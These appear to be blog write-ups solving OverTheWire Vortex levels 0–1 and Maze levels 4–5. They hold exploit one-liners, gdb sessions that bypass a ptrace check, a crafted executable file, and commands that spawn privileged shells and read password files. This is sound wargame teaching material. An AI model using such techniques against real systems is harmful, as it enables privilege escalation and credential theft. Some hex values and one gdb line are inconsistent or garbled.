OverTheWire.org - Vortex - Level 1 Writeup

We have the code available, so it's a bit easier.
Basically we have a 512 byte buffer buf and a pointer ptr.
The memory, display from top to down is:
|---------|
|  ptr    | --
|---------|  |
| buf     |  |
|         |  |
|         |  |
|         |<--

ptr is initially pointing in the middle of buf.
If we put a \ in the input we decrease the buffer.
If we put a character that is not a "new line" it is written to the location pointed by ptr.
But also a shell is executed when ptr location is
By using gdb we know that ptr contains an address like 0xffffd4yy (in my case it was 0xffffd434)

We can use 261 \ to point ptr just one byte ahead of itself.
The overwrite it with a 0xca and a few valid bytes that resembles the original address.

vortex1@vortex:~$ python -c 'print "\\"*261 + "\xca\xfd\xff\xca"' | /vortex/vortex1
vortex1@vortex:~$

But it does nothing... or not?
Let's use strace and see...

vortex1@vortex:~$ python -c 'print "\\"*261 + "\xca\xfd\xff\xca"' | strace /vortex/vortex1
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd6000
read(0, "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"..., 4096) = 267
geteuid32()                             = 5001
geteuid32()                             = 5001
geteuid32()                             = 5001
setresuid32(5001, 5001, 5001)           = 0
execve("/bin/sh", ["sh"], [/* 34 vars */]) = 0
[ Process PID=800 runs in 64 bit mode. ]
brk(0)                                  = 0x555555774000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=27393, ...}) = 0
mmap(NULL, 27393, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff0000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1857312, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fef000
mmap(NULL, 3965632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a11000
mprotect(0x7ffff7bcf000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7dcf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1be000) = 0x7ffff7dcf000
mmap(0x7ffff7dd5000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd5000
close(3)                                = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fed000
arch_prctl(ARCH_SET_FS, 0x7ffff7fed740) = 0
mprotect(0x7ffff7dcf000, 16384, PROT_READ) = 0
mprotect(0x55555576f000, 8192, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff0000, 27393)           = 0
getpid()                                = 800
rt_sigaction(SIGCHLD, {0x555555566460, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0
geteuid()                               = 5001
brk(0)                                  = 0x555555774000
brk(0x555555795000)                     = 0x555555795000
getppid()                               = 796
stat("/tmp/v1", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
stat(".", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7fffffffe310) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0
read(0, "", 8192)                       = 0
exit_group(0)                           = ?
+++ exited with 0 +++

Well it executes the bash in interactive mode, but it has an issue with ioctl() call.
Usually it can by bypassed by having the shell open and output the password file...

We can pass something to vortex1 process that will pass to bash interactive, like this;

vortex1@vortex:~$ (python -c 'print "\\"*261 + "\xca\xfd\xff\xca"'; echo "cat /etc/vortex_pass/vortex2") | /vortex/vortex1
2*******E
vortex1@vortex:~$ 

OverTheWire.org - Vortex - Level 0 Writeup

Let's start with the requirements...
We have to
  • connect to port 5842 of vortex.labs.overthewire.org
  • read 4 integer numbers (4 byte each) in host byte order (i.e. little endian)
  • Sum this numbers
  • send it back (in the same host byte order
  • read the reply that contains username and password
This can be done with some socket programming lines...
I'm a bit ashamed publishing this code cause it's badly written, but it took me short time and it works.


#!/usr/bin/env python3

import socket

HOST = '176.9.9.172'
PORT = 5842


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        data = s.recv(16)

        print('Received', repr(data))
        num1=data[0]+ data[1]*256 + data[2]*256*256 + data[3]*256*256*256
        num2=data[4]+ data[5]*256 + data[6]*256*256 + data[7]*256*256*256
        num3=data[8]+ data[9]*256 + data[10]*256*256 + data[11]*256*256*256
        num4=data[12]+ data[13]*256 + data[14]*256*256 + data[15]*256*256*256

        total=num1+num2+num3+num4

        byte1= total // (256*256*256)
        reminder1= total % (256*256*256)

        byte2= reminder1 // (256*256)
        reminder2= reminder1 % (256*256)

        byte3= reminder2 // (256)
        byte4= reminder2 % (256)
        reply=[byte4,byte3,byte2,byte1]

        reply2=bytes(reply)

        s.sendall(reply2)
        data=s.recv(128)

        print('Received', data)

OverTheWire.org - Maze - Level 5 Writeup

Let's run the executable and see how it works

maze5@maze:~$ /maze/maze5
X----------------
 Username: user
      Key: pass
Wrong length you!

It asks for username and password that must have a proper length.
The section that checks the lenght of the passw rd is the following:

   0x0804863a <+83>:    call   0x80483f0 <strlen@plt>
   0x0804863f <+88>:    add    $0x4,%esp
   0x08048642 <+91>:    cmp    $0x8,%eax
   0x08048645 <+94>:    jne    0x8048658 <main+113>
   0x0804864b <+100>:   call   0x80483f0 <strlen@plt>
   0x08048650 <+105>:   add    $0x4,%esp
   0x08048653 <+108>:   cmp    $0x8,%eax
   0x08048656 <+111>:   je     0x804866c <main+133>


So the required length is 8 bytes for both username and password.
If we input 8 byte username and password and trace it with ltrace:

maze5@maze:~$ ltrace /maze/maze5
__libc_start_main(0x80485e7, 1, 0xffffd7a4, 0x80486e0 <unfinished ...>
puts("X----------------"X----------------
)                                                                        = 18
printf(" Username: ")                                                                            = 11
__isoc99_scanf(0x804877e, 0xffffd6ff, 0x804821c, 0x80486e9 Username: username
)                                      = 1
printf("      Key: ")                                                                            = 11
__isoc99_scanf(0x804877e, 0xffffd6f6, 0x804821c, 0x80486e9      Key: password
)                                      = 1
strlen("username")                                                                               = 8
strlen("password")                                                                               = 8
ptrace(0, 0, 0, 0)                                                                               = 0xffffffff
puts("\nnahnah..."


The interesting code in main section is the following:

   0x0804866c <+133>:   push   $0x0
   0x0804866e <+135>:   push   $0x0
   0x08048670 <+137>:   push   $0x0
   0x08048672 <+139>:   push   $0x0
   0x08048674 <+141>:   call   0x8048420 <ptrace@plt>
   0x08048679 <+146>:   add    $0x10,%esp
   0x0804867c <+149>:   test   %eax,%eax
   0x0804867e <+151>:   je     0x8048694 <main+173>
   0x08048680 <+153>:   push   $0x80487a0
   0x08048685 <+158>:   call   0x80483c0 <puts@plt>
   0x0804868a <+163>:   add    $0x4,%esp
   0x0804868d <+166>:   mov    $0x0,%eax
   0x08048692 <+171>:   jmp    0x80486d6 <main+239>
   0x08048694 <+173>:   lea    -0x12(%ebp),%eax
   0x08048697 <+176>:   push   %eax
   0x08048698 <+177>:   lea    -0x9(%ebp),%eax
   0x0804869b <+180>:   push   %eax
   0x0804869c <+181>:   call   0x804853b <foo>

The bad part is that call to ptrace(0,0,0,0) which don't help when it comes to analyzing the behavior in gdb.
Well, not that bad...

We can get past that ptrace with a combination of break and jump.

Let's place a break on the ptrace call when we start gdb, at run time, when the flow stops at the break we jump after the puts call:

# at gdb start
(gdb) break *0x08048674

# during execution
(gdb) jump *0x08048694

This helps to get past the ptrace call in gdb.

After the ptrace() and a call to puts() that shows "nahnah", we have other code that pushes username and password address then calls the function foo().

Let's see the foo() code:

   0x0804853b <+0>:     push   %ebp
   0x0804853c <+1>:     mov    %esp,%ebp
   0x0804853e <+3>:     sub    $0x14,%esp
   0x08048541 <+6>:     movl   $0x6e697270,-0x11(%ebp)
   0x08048548 <+13>:    movl   $0x6c6f6c74,-0xd(%ebp)
   0x0804854f <+20>:    movb   $0x0,-0x9(%ebp)
   0x08048553 <+24>:    movl   $0x0,-0x4(%ebp)
   0x0804855a <+31>:    jmp    0x804859c <foo+97>
   0x0804855c <+33>:    mov    -0x4(%ebp),%edx
   0x0804855f <+36>:    mov    0x8(%ebp),%eax
   0x08048562 <+39>:    add    %edx,%eax
   0x08048564 <+41>:    movzbl (%eax),%eax
   0x08048567 <+44>:    movsbl %al,%eax
   0x0804856a <+47>:    sub    $0x41,%eax
   0x0804856d <+50>:    mov    %eax,-0x8(%ebp)
   0x08048570 <+53>:    lea    -0x11(%ebp),%edx
   0x08048573 <+56>:    mov    -0x4(%ebp),%eax
   0x08048576 <+59>:    add    %edx,%eax
   0x08048578 <+61>:    movzbl (%eax),%eax
   0x0804857b <+64>:    mov    %eax,%ecx
   0x0804857d <+66>:    mov    -0x4(%ebp),%eax
   0x08048580 <+69>:    lea    (%eax,%eax,1),%edx
   0x08048583 <+72>:    mov    -0x8(%ebp),%eax
   0x08048586 <+75>:    add    %edx,%eax
   0x08048588 <+77>:    sub    %eax,%ecx
   0x0804858a <+79>:    mov    %ecx,%eax
   0x0804858c <+81>:    mov    %eax,%ecx
   0x0804858e <+83>:    lea    -0x11(%ebp),%edx
   0x08048591 <+86>:    mov    -0x4(%ebp),%eax
   0x08048594 <+89>:    add    %edx,%eax
   0x08048596 <+91>:    mov    %cl,(%eax)
   0x08048598 <+93>:    addl   $0x1,-0x4(%ebp)
   0x0804859c <+97>:    pushl  0x8(%ebp)
   0x0804859f <+100>:   call   0x80483f0 <strlen@plt>
   0x080485a4 <+105>:   add    $0x4,%esp
   0x080485a7 <+108>:   mov    %eax,%edx
   0x080485a9 <+110>:   mov    -0x4(%ebp),%eax
   0x080485ac <+113>:   cmp    %eax,%edx
   0x080485ae <+115>:   ja     0x804855c <foo+33>
   0x080485b0 <+117>:   jmp    0x80485d3 <foo+152>
   0x080485b2 <+119>:   lea    -0x11(%ebp),%edx
   0x080485b5 <+122>:   mov    -0x4(%ebp),%eax
   0x080485b8 <+125>:   add    %edx,%eax
   0x080485ba <+127>:   movzbl (%eax),%edx
   0x080485bd <+130>:   mov    -0x4(%ebp),%ecx
   0x080485c0 <+133>:   mov    0xc(%ebp),%eax
   0x080485c3 <+136>:   add    %ecx,%eax
   0x080485c5 <+138>:   movzbl (%eax),%eax
   0x080485c8 <+141>:   cmp    %al,%dl
   0x080485ca <+143>:   je     0x80485d3 <foo+152>
   0x080485cc <+145>:   mov    $0x0,%eax
   0x080485d1 <+150>:   jmp    0x80485e5 <foo+170>
   0x080485d3 <+152>:   mov    -0x4(%ebp),%eax
   0x080485d6 <+155>:   lea    -0x1(%eax),%edx
   0x080485d9 <+158>:   mov    %edx,-0x4(%ebp)
   0x080485dc <+161>:   test   %eax,%eax
   0x080485de <+163>:   jne    0x80485b2 <foo+119>
   0x080485e0 <+165>:   mov    $0x1,%eax
   0x080485e5 <+170>:   leave
   0x080485e6 <+171>:   ret

Quite long and complex with some jumps.
The interesting part is at line 0x080485c8.
It compares byte values in eax and edx.
If they are not equal, it puts 0 in eax and then exit.

Otherwise it jumps to another section, it loads data from memory location and jumps back to the beginning of foo().
It looks like it is checking something between the username and password byte-by-byte.

We can put a break at the line of the comparison and see what happens.
So now let's summarize the approach:
  • choose a standard username: AAAAAAAA
  • choose a standard password: BCDEFGHI
  • open gdb
  • put a break at the ptrace() call
  • put a break at the comparison in foo()
  • use jump to reach foo() and the break inside it
  • verify register eax and edx that needs to be compared

maze5@maze:~$ gdb /maze/maze5
...
(gdb) break *0x08048674
Breakpoint 1 at 0x8048674: file maze5.c, line 48.
(gdb) break *0x080485c8
Breakpoint 2 at 0x80485c8: file maze5.c, line 32.
(gdb) r
Starting program: /maze/maze5
X----------------
 Username: AAAAAAAA
      Key: BCDEFGHI

Breakpoint 1, 0x08048674 in main () at maze5.c:48
48      maze5.c: No such file or directory.
(gdb) jump *0x08048694
Continuing at 0x8048694.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAA",
    a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x49     73
edx            0x5e     94
(gdb)

It seems that eax contains the last byte of the password (0x49 is hex for letter I)

Edx has another value, so comparison will fail.

Let's run again with a different username, let's say we change last byte of the username to AAAAAAAB

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze5
X----------------
 Username: AAAAAAAB
      Key: BCDEFGHI

Breakpoint 1, 0x08048674 in main () at maze5.c:48
48      in maze5.c
(gdb) jump *0x08048694
Continuing at 0x8048694.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAB", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x49     73
edx            0x5d     93

Interesting... the edx value is decreased by 1, while the 8th byte of username was change from A to B (se increased by 1)

Let's then adjust the last byte of username to V and retry

Explanation: A gives 0x5e, B gives 0x5d ... so V should give 0x49


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze5
X----------------
 Username: AAAAAAAV
      Key: BCDEFGHI

Breakpoint 1, 0x08048674 in main () at maze5.c:48
48      in maze5.c
(gdb) jump *0x08048694
Continuing at 0x8048694.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x49     73
edx            0x49     73

Yes... eax and edx are equal...
If we continue the execution we should reach the break again

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze5
X----------------
 Username: AAAAAAAV
      Key: BCDEFGHI

Breakpoint 1, 0x08048674 in main () at maze5.c:48
48      in maze5.c
(gdb) jump *0x08048694
Continuing at 0x8048694.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x49     73
edx            0x49     73
(gdb) c
Continuing.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x48     72
edx            0x63     99

OK, we got past the first jump and then the code is now comparing the 7th byte of the password (H which is 0x48) with another value 0x63

Let's use the same approach: with some tries, we discover that changing 7th byte of the username to \ will give eax = edx = 0x48


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze5
X----------------
 Username: AAAAAA\V
      Key: BCDEFGHI

Breakpoint 1, 0x08048674 in main () at maze5.c:48
48      in maze5.c
(gdb) jump *0x08048694
Continuing at 0x8048694.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x49     73
edx            0x49     73
(gdb) c
Continuing.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x48     72
edx            0x48     72
(gdb) c
Continuing.

Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32
32      in maze5.c
(gdb) info reg eax edx
eax            0x47     71
edx            0x62     98

We got past the second iteration and now we have to guess the 6th byte...

If we use the same approach for the 6th byte, etc.... we discover that a possibile combination of username and password are: onbdg\\V and BCDEFGHI

Note that with a different password, also username must be different: the base fact is that foo() function compares the password byte by byte with a shifted value of the correspondent byte of username.

Finally we can use the username and password to get our privileged shell

maze5@maze:~$  /maze/maze5
X----------------
 Username: onbdg\\V
      Key: BCDEFGHI

Yeh, here's your shell
$ id
uid=15005(maze5) gid=15005(maze5) euid=15006(maze6) groups=15005(maze5)
$ cat /etc/maze_pass/maze5
cat: /etc/maze_pass/maze5: Permission denied
$ cat /etc/maze_pass/maze6
e*******i
$

OverTheWire.org - Maze - Level 4 Writeup

As in the previous level, let's try to understand what the executable is doing by running it with different parameters and with strace or ltrace:

maze4@maze:~$  /maze/maze4
usage: /maze/maze4 file2check

maze4@maze:~$ /maze/maze4 a
open: No such file or directory

maze4@maze:~$ ltrace /maze/maze4 a
__libc_start_main(0x80485fb, 2, 0xffffd7a4, 0x8048730 <unfinished ...>
open("a", 0, 036777230420)                       = -1
perror("open"open: No such file or directory
)                                   = <void>
exit(-1 <no return ...>
+++ exited (status 255) +++

It seems that it needs one parameter at command line.
When it has, it tries to open it.

So let's create a temporary folder and create a file with some sample content.
Then try to use ltrace again:

maze4@maze:~$ mkdir /tmp/maz4
maze4@maze:~$ cd /tmp/maz4
maze4@maze:/tmp/maz4$ echo AAAA > a
maze4@maze:/tmp/maz4$ ltrace /maze/maze4 a
__libc_start_main(0x80485fb, 2, 0xffffd794, 0x8048730 <unfinished ...>
open("a", 0, 036777230420)                       = 3
__xstat(3, "a", 0xffffd648)                      = 0
read(3, "AAAA\n", 52)                            = 5
lseek(3, 134514513, 0)                           = 134514513
read(3, "", 32)                                  = 0
fwrite("file not executed\n", 1, 18, 0xf7fc5cc0file not executed
) = 18
close(3)                                         = 0
+++ exited (status 0) +++

The program opens the file passed as command line parameter and read 52 bytes of its contents.
Then executes an lseek() on the file: lseek is used to change position inside the file for the next read() or write() operation.

Then it read again from the file, but this time it reads 32 bytes.

So now let's look at the code that reads data from file, skipping the initial and final parts of the code

   0x08048684 <+137>:   push   $0x34
   0x08048686 <+139>:   lea    -0x38(%ebp),%eax
   0x08048689 <+142>:   push   %eax
   0x0804868a <+143>:   pushl  -0x4(%ebp)
   0x0804868d <+146>:   call   0x8048430 <read@plt>
   0x08048692 <+151>:   add    $0xc,%esp
   0x08048695 <+154>:   mov    -0x1c(%ebp),%eax
   0x08048698 <+157>:   push   $0x0
   0x0804869a <+159>:   push   %eax
   0x0804869b <+160>:   pushl  -0x4(%ebp)
   0x0804869e <+163>:   call   0x8048450 <lseek@plt>
   0x080486a3 <+168>:   add    $0xc,%esp
   0x080486a6 <+171>:   push   $0x20
   0x080486a8 <+173>:   lea    -0x58(%ebp),%eax
   0x080486ab <+176>:   push   %eax
   0x080486ac <+177>:   pushl  -0x4(%ebp)
   0x080486af <+180>:   call   0x8048430 <read@plt>
   0x080486b4 <+185>:   add    $0xc,%esp
   0x080486b7 <+188>:   mov    -0x4c(%ebp),%eax
   0x080486ba <+191>:   movzbl -0x31(%ebp),%edx
   0x080486be <+195>:   movzbl %dl,%ecx
   0x080486c1 <+198>:   movzbl -0x30(%ebp),%edx
   0x080486c5 <+202>:   movzbl %dl,%edx
   0x080486c8 <+205>:   imul   %ecx,%edx
   0x080486cb <+208>:   cmp    %edx,%eax
   0x080486cd <+210>:   jne    0x80486fa <main+255>
   0x080486cf <+212>:   mov    -0x84(%ebp),%eax
   0x080486d5 <+218>:   cmp    $0x77,%eax
   0x080486d8 <+221>:   jg     0x80486fa <main+255>
   0x080486da <+223>:   push   $0x8048800

The first read (at line 0x0804868d) reads the first 52 bytes of the file and put them into memory at address [-0x38(%ebp)]

Then eax is pointed to the 29th byte of the buffer ([-0x1c(%ebp)] and is used as parameter for the lseek call on the same file 
So lseek moves the position in the file to the position pointed to the bytes 29th-32nd of the file
If the bytes 29th-32nd of the file contains decimal 50, the lseek will position at 50th bytes of the file.

The following read() reads 32 bytes from the position determined by the lseek().
These 32 bytes are then stored at position [-0x58(%ebp)]

Let's build a file that contains:

  • 28 filling bytes (unused so far) "AAAABBBBCCCC..."
  • 4 bytes filled with value decimal 32  (they will determine an lseek to the 33rd byte of the file) "\x20\x00\x00\x00"
  • some filling charachters from byte 33rd  "ABCDEF...."

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKLMNOPQRSTUVXYWZ"' > a

Then run again the executable with strace:

maze4@maze:/tmp/maz4$ strace /maze/maze4 a
...
read(3, "AAAABBBBCCCCDDDDEEEEFFFFGGGG \0\0\0"..., 52) = 52
lseek(3, 32, SEEK_SET)                  = 32
read(3, "ABCDEFGHIJKLMNOQRSTUVXYWZ\n", 32) = 26
write(2, "file not executed\n", 18file not executed

This confirms that:

  • read first part of the file and stores them in -0x38(%ebp)
  • position to byte 33rd 
  • read from 33rd to 64th and stores them in -0x58(%ebp)


So in memory we will have two buffer:
  • -0x58(%ebp) will contain 32 bytes : ABCDEFGH....
  • -0x38(%ebp) will contain 52 bytes: AAAABBBBCCCCDDDD....

Now let's focus on the code after the read() functions

...
   0x080486b4 <+185>:   add    $0xc,%esp
   0x080486b7 <+188>:   mov    -0x4c(%ebp),%eax
   0x080486ba <+191>:   movzbl -0x31(%ebp),%edx
   0x080486be <+195>:   movzbl %dl,%ecx
   0x080486c1 <+198>:   movzbl -0x30(%ebp),%edx
   0x080486c5 <+202>:   movzbl %dl,%edx
   0x080486c8 <+205>:   imul   %ecx,%edx
   0x080486cb <+208>:   cmp    %edx,%eax
   0x080486cd <+210>:   jne    0x80486fa <main+255>
   0x080486cf <+212>:   mov    -0x84(%ebp),%eax
   0x080486d5 <+218>:   cmp    $0x77,%eax
   0x080486d8 <+221>:   jg     0x80486fa <main+255>
   0x080486da <+223>:   push   $0x8048800
   0x080486df <+228>:   call   0x8048490 <puts@plt>
   0x080486e4 <+233>:   add    $0x4,%esp
   0x080486e7 <+236>:   mov    0xc(%ebp),%eax
   0x080486ea <+239>:   add    $0x4,%eax
   0x080486ed <+242>:   mov    (%eax),%eax
   0x080486ef <+244>:   push   $0x0
   0x080486f1 <+246>:   push   %eax
   0x080486f2 <+247>:   call   0x80484d0 <execv@plt>
...

We see some operations that use data taken from the buffers and a couple of comparisons.
If comparisons fail flow is transferred to <main+255> which write an output and exits.
If both comparison are OK, the flow goes to a puts() and an interesting execve().

We want to reach that execve()

Let's step the execution into lines 0x080486c8  and 0x080486cb;

(gdb) set args a
(gdb) break *0x080486c8
Breakpoint 1 at 0x80486be: file maze4.c, line 54.
(gdb) r
Starting program: /maze/maze4 a

Breakpoint 1, 0x080486c8 in main (argc=2, argv=0xffffd774) at maze4.c:54
54      maze4.c: No such file or directory.
(gdb) info reg
eax            0x504f4e4d       1347374669
ecx            0x42     66
edx            0x43     67


The next istruction multiplies ecx and edx
(gdb) info reg
eax            0x504f4e4d       1347374669
ecx            0x42     66
edx            0x1146   4422

  • ecx and edx contain 0x42 and 0x43 (B and C, which are the 7th and 8th byte of the file)
  • eax contains 0x504f4e4e ("MNOP" little endian): the content of the file stored in position -0x4c(%ebp)
Then the program multiplies ecx and edx, and store the result in edx (line 0x080486c8)
After that, it compares eax with edx.
If they are not equal it exits from program.

So we want to create a file that has a specific content where 7th byte and 8th bytes multiplied are equal to 4 bytes in some other position of the file

As an example we'll put "0xfe" as 7th and 8th bytes (their multiplication give 0xfe04)
and 0x0000fe04 in the location where "MNOP" was.

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ"' > a
maze4@maze:/tmp/maz4$ gdb /maze/maze4
(gdb) set args a
(gdb) break *(gdb) r
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze4 a

Breakpoint 1, 0x080486be in main (argc=2, argv=0xffffd774) at maze4.c:54
54      in maze4.c
(gdb) stepi
0x080486c1      54      in maze4.c
(gdb) stepi
0x080486c5      54      in maze4.c
(gdb) stepi
0x080486c8      54      in maze4.c
(gdb) stepi
0x080486cb      54      in maze4.c
(gdb) stepi
0x080486cd      54      in maze4.c
(gdb) stepi
55      in maze4.c

(gdb) disas main
...
=> 0x080486cf <+212>: mov -0x84(%ebp),%eax 0x080486d5 <+218>: cmp $0x77,%eax 0x080486d8 <+221>: jg 0x80486fa <main+255> 0x080486da <+223>: push $0x8048800 0x080486df <+228>: call 0x8048490 <puts@plt> 0x080486e4 <+233>: add $0x4,%esp 0x080486e7 <+236>: mov 0xc(%ebp),%eax 0x080486ea <+239>: add $0x4,%eax 0x080486ed <+242>: mov (%eax),%eax 0x080486ef <+244>: push $0x0 0x080486f1 <+246>: push %eax

We were able to get past the first comparison/jump.

Now comes the second comparison that compares 0x77 (decimal 119) to the value in memory at -0x84(%ebp)

Let's step in and  see what there is in that memory location:

(gdb) info reg ebp
ebp            0xffffd6d8       0xffffd6d8
(gdb) x/wx 0xffffd654
0xffffd654:     0x0000003b

It contains 0x38 (59 decimal) and with some guessing, we discover that it's the length of the file:

maze4@maze:/tmp/maz4$ ls -la a
-rw-r--r-- 1 maze4 root 59 Jun 20 06:40 a

If we get past this comparison we'll arrive to our execve()

Let's add some filling at the end of the file and retry:

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ" + "B"*60' > a
maze4@maze:/tmp/maz4$ strace /maze/maze4 a
...
write(1, "valid file, executing\n", 22valid file, executing
) = 22
execve("a", NULL, [/* 18 vars */])      = -1 EACCES (Permission denied)
...

And we triggered the execve() which executes the file itself!

Now putting all the pieces together, we need to build a file that:
  • is 119 bytes long
  • can be executed (i.e. a script)
  • must respect some of the requirements above (7th byte multiplied by 8th bytes....etc..
Let's build this file as a bash script that starts with #!/bin/sh
The 7th byte is an s (0x73) and 8th byte is an h (0x68): their multiplication gives 0x2eb8.
We also need carriage returns for the script

So let's build the file as:
  1. #!/bin/sh                                             (7 bytes)
  2. Carriage return                                   (1 byte)
  3. Command                                          (17 bytes)
  4. Carriage return                                   (1 byte)
  5. Lseek 0x0000020                               (4 bytes)
  6. Filling bytes                                        (12 bytes)
  7. result of multiplication                          (4 bytes)
  8. Filling bytes to reach lenght of 119       (70 bytes)

maze4@maze:/tmp/maz4$ python -c 'print "#!/bin/sh" + "\x0a"+ "AAAAAAAAAAAAAAAAA" +"\x0a"+ "\x20\x00\x00\x00" + "B"*12 + "\xb8\x2e\x00\x00" +"B"*70' > a

maze4@maze:/tmp/maz4$ strace /maze/maze4 a
....
open("a", O_RDONLY)                     = 4
fcntl(4, F_DUPFD, 10)                   = 10
close(4)                                = 0
fcntl(10, F_SETFD, FD_CLOEXEC)          = 0
rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGINT, {sa_handler=0x555555564ef0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
read(10, "#!/bin/sh\nAAAAAAAAAAAAAAAAA\n \0\0\0"..., 8192) = 119
stat("/usr/local/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/local/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)

The last 5 lines show that the execution works and performs some stat()

The execution of the script in the file "a" is trying to locate an executable with the name "AAAAAAAAAAAAAA" in the PATH.

